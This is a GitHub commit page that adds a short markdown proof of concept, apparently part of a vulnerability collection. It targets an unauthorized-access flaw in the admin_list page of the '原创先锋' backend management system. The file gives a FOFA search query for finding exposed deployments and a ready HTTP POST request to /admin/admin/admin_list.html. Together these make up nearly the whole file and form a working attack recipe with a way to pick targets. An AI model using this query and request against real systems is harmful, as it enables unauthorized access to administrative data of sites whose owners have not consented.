Create 原创先锋后台管理admin_list存在未授权访问.md

This commit is contained in:
Rainyseason 2025-06-11 15:24:53 +08:00 committed by GitHub
parent c88df034ef
commit d3ffabf7a0
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,16 @@
# 原创先锋后台管理admin_list存在未授权访问
# fofa
```
body="https://www.bjycxf.com"
```
# poc
```javasrcipt
POST /admin/admin/admin_list.html HTTP/1.1
Host:
Content-Type: application/json
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3
Transfer-Encoding: chunked
```